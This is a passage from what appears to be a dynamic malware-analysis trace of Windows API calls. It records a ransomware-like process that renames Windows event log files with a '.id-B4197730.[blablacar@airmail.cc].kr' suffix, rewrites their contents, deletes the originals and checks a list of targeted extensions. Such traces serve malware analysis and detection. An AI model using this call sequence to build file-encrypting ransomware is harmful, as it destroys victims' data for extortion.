returned -1 [0105.025] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0105.025] lstrlenW (lpString=".zip") returned 4 [0105.025] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0105.025] lstrlenW (lpString=".rar") returned 4 [0105.025] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0105.025] lstrlenW (lpString=".bz2") returned 4 [0105.025] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0105.025] lstrlenW (lpString=".7z") returned 3 [0105.025] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0105.025] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0105.025] lstrlenW (lpString=".dbf") returned 4 [0105.025] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0105.025] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0105.025] lstrlenW (lpString=".1cd") returned 4 [0105.025] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0105.025] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0105.026] lstrlenW (lpString=".jpg") returned 4 [0105.026] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0105.026] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0105.026] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0105.026] lstrlenW (lpString=".doc") returned 4 [0105.026] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0105.026] lstrlenW (lpString=".docx") returned 5 [0105.026] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0105.026] lstrlenW (lpString=".pdf") returned 4 [0105.026] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0105.026] lstrlenW (lpString=".xls") returned 4 [0105.026] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0105.026] lstrlenW (lpString=".xlsx") returned 5 [0105.026] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0105.026] lstrlenW (lpString=".ppt") returned 4 [0105.026] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0105.026] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0105.026] lstrlenW (lpString=".zip") returned 4 [0105.026] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0105.026] lstrlenW (lpString=".rar") returned 4 [0105.026] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0105.026] lstrlenW (lpString=".bz2") returned 4 [0105.026] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0105.026] lstrlenW (lpString=".7z") returned 3 [0105.026] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0105.027] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0105.027] lstrlenW (lpString=".dbf") returned 4 [0105.027] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0105.027] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0105.027] lstrlenW (lpString=".1cd") returned 4 [0105.027] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0105.027] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0105.027] lstrlenW (lpString=".jpg") returned 4 [0105.027] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0105.027] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0105.027] lstrlenW (lpString="Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 44 [0105.027] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0105.028] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=69632) returned 1 [0105.028] CloseHandle (hObject=0x35c) returned 1 [0105.028] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 0x20 [0105.028] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.028] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0105.028] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.028] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.028] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0105.029] GetLastError () returned 0x0 [0105.029] ReadFile (in: hFile=0x35c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0105.031] WriteFile (in: hFile=0x37c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0105.034] ReadFile (in: hFile=0x35c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0105.034] WriteFile (in: hFile=0x37c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x12c, lpOverlapped=0x0) returned 1 [0105.034] SetEndOfFile (hFile=0x37c) returned 1 [0105.034] CloseHandle (hObject=0x37c) returned 1 [0105.037] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.037] SetEndOfFile (hFile=0x35c) returned 1 [0105.038] CloseHandle (hObject=0x35c) returned 1 [0105.038] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0105.039] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 1 [0105.039] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0105.039] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0105.039] lstrlenW (lpString=".doc") returned 4 [0105.039] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0105.039] lstrlenW (lpString=".docx") returned 5 [0105.039] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0105.039] lstrlenW (lpString=".pdf") returned 4 [0105.039] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0105.039] lstrlenW (lpString=".xls") returned 4 [0105.039] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0105.039] lstrlenW (lpString=".xlsx") returned 5 [0105.039] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0105.039] lstrlenW (lpString=".ppt") returned 4 [0105.039] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0105.039] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0105.039] lstrlenW (lpString=".zip") returned 4 [0105.039] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0105.039] lstrlenW (lpString=".rar") returned 4 [0105.040] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0105.040] lstrlenW (lpString=".bz2") returned 4 [0105.040] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0105.040] lstrlenW (lpString=".7z") returned 3 [0105.040] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0105.040] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0105.040] lstrlenW (lpString=".dbf") returned 4 [0105.040] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0105.040] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0105.040] lstrlenW (lpString=".1cd") returned 4 [0105.040] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0105.040] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0105.040] lstrlenW (lpString=".jpg") returned 4 [0105.040] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0105.040] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0105.040] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0105.040] lstrlenW (lpString=".doc") returned 4 [0105.040] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0105.040] lstrlenW (lpString=".docx") returned 5 [0105.040] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0105.040] lstrlenW (lpString=".pdf") returned 4 [0105.040] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0105.040] lstrlenW (lpString=".xls") returned 4 [0105.040] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0105.040] lstrlenW (lpString=".xlsx") returned 5 [0105.040] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0105.041] lstrlenW (lpString=".ppt") returned 4 [0105.041] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0105.041] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0105.041] lstrlenW (lpString=".zip") returned 4 [0105.041] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0105.041] lstrlenW (lpString=".rar") returned 4 [0105.041] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0105.041] lstrlenW (lpString=".bz2") returned 4 [0105.041] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0105.041] lstrlenW (lpString=".7z") returned 3 [0105.041] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0105.041] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0105.041] lstrlenW (lpString=".dbf") returned 4 [0105.041] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0105.041] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0105.041] lstrlenW (lpString=".1cd") returned 4 [0105.041] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0105.041] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0105.041] lstrlenW (lpString=".jpg") returned 4 [0105.041] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0105.041] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0105.041] lstrlenW (lpString="Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 45 [0105.041] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0105.042] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=69632) returned 1 [0105.042] CloseHandle (hObject=0x35c) returned 1 [0105.042] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 0x20 [0105.042] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.042] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0105.042] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.042] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.042] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0105.043] GetLastError () returned 0x0 [0105.043] ReadFile (in: hFile=0x35c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0105.286] WriteFile (in: hFile=0x37c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0105.288] ReadFile (in: hFile=0x35c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0105.288] WriteFile (in: hFile=0x37c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x12e, lpOverlapped=0x0) returned 1 [0105.288] SetEndOfFile (hFile=0x37c) returned 1 [0105.288] CloseHandle (hObject=0x37c) returned 1 [0105.290] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.291] SetEndOfFile (hFile=0x35c) returned 1 [0105.292] CloseHandle (hObject=0x35c) returned 1 [0105.292] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0105.292] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 1 [0105.292] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0105.292] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0105.292] lstrlenW (lpString=".doc") returned 4 [0105.292] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0105.292] lstrlenW (lpString=".docx") returned 5 [0105.293] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0105.293] lstrlenW (lpString=".pdf") returned 4 [0105.293] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0105.293] lstrlenW (lpString=".xls") returned 4 [0105.293] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0105.293] lstrlenW (lpString=".xlsx") returned 5 [0105.293] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0105.293] lstrlenW (lpString=".ppt") returned 4 [0105.293] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0105.293] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0105.293] lstrlenW (lpString=".zip") returned 4 [0105.293] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0105.293] lstrlenW (lpString=".rar") returned 4 [0105.293] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0105.293] lstrlenW (lpString=".bz2") returned 4 [0105.293] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0105.293] lstrlenW (lpString=".7z") returned 3 [0105.293] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0105.293] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0105.293] lstrlenW (lpString=".dbf") returned 4 [0105.293] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0105.293] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0105.293] lstrlenW (lpString=".1cd") returned 4 [0105.293] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0105.293] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0105.293] lstrlenW (lpString=".jpg") returned 4 [0105.293] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0105.293] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0105.293] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0105.293] lstrlenW (lpString=".doc") returned 4 [0105.293] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0105.294] lstrlenW (lpString=".docx") returned 5 [0105.294] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0105.294] lstrlenW (lpString=".pdf") returned 4 [0105.294] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0105.294] lstrlenW (lpString=".xls") returned 4 [0105.294] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0105.294] lstrlenW (lpString=".xlsx") returned 5 [0105.294] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0105.294] lstrlenW (lpString=".ppt") returned 4 [0105.294] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0105.294] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0105.294] lstrlenW (lpString=".zip") returned 4 [0105.294] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0105.294] lstrlenW (lpString=".rar") returned 4 [0105.294] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0105.294] lstrlenW (lpString=".bz2") returned 4 [0105.294] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0105.294] lstrlenW (lpString=".7z") returned 3 [0105.294] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0105.294] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0105.294] lstrlenW (lpString=".dbf") returned 4 [0105.294] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0105.294] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0105.294] lstrlenW (lpString=".1cd") returned 4 [0105.294] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0105.294] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0105.294] lstrlenW (lpString=".jpg") returned 4 [0105.294] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0105.295] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0105.295] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 72 [0105.295] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0105.295] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=1052672) returned 1 [0105.295] CloseHandle (hObject=0x35c) returned 1 [0105.295] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 0x20 [0105.295] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.296] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0105.296] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.296] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.296] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0105.296] GetLastError () returned 0x0 [0105.296] ReadFile (in: hFile=0x35c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0105.327] WriteFile (in: hFile=0x37c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0105.771] ReadFile (in: hFile=0x35c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x1010, lpOverlapped=0x0) returned 1 [0105.779] WriteFile (in: hFile=0x37c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x1020, lpOverlapped=0x0) returned 1 [0105.783] ReadFile (in: hFile=0x35c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0105.783] WriteFile (in: hFile=0x37c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x164, lpOverlapped=0x0) returned 1 [0105.783] SetEndOfFile (hFile=0x37c) returned 1 [0105.783] CloseHandle (hObject=0x37c) returned 1 [0106.084] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.084] SetEndOfFile (hFile=0x35c) returned 1 [0106.085] CloseHandle (hObject=0x35c) returned 1 [0106.085] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0106.085] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 1 [0106.086] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0106.086] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0106.086] lstrlenW (lpString=".doc") returned 4 [0106.086] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0106.086] lstrlenW (lpString=".docx") returned 5 [0106.086] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0106.086] lstrlenW (lpString=".pdf") returned 4 [0106.086] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0106.086] lstrlenW (lpString=".xls") returned 4 [0106.086] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0106.086] lstrlenW (lpString=".xlsx") returned 5 [0106.086] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0106.086] lstrlenW (lpString=".ppt") returned 4 [0106.086] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0106.086] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0106.086] lstrlenW (lpString=".zip") returned 4 [0106.086] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0106.086] lstrlenW (lpString=".rar") returned 4 [0106.086] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0106.086] lstrlenW (lpString=".bz2") returned 4 [0106.086] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0106.086] lstrlenW (lpString=".7z") returned 3 [0106.086] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0106.087] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0106.087] lstrlenW (lpString=".dbf") returned 4 [0106.087] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0106.087] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0106.087] lstrlenW (lpString=".1cd") 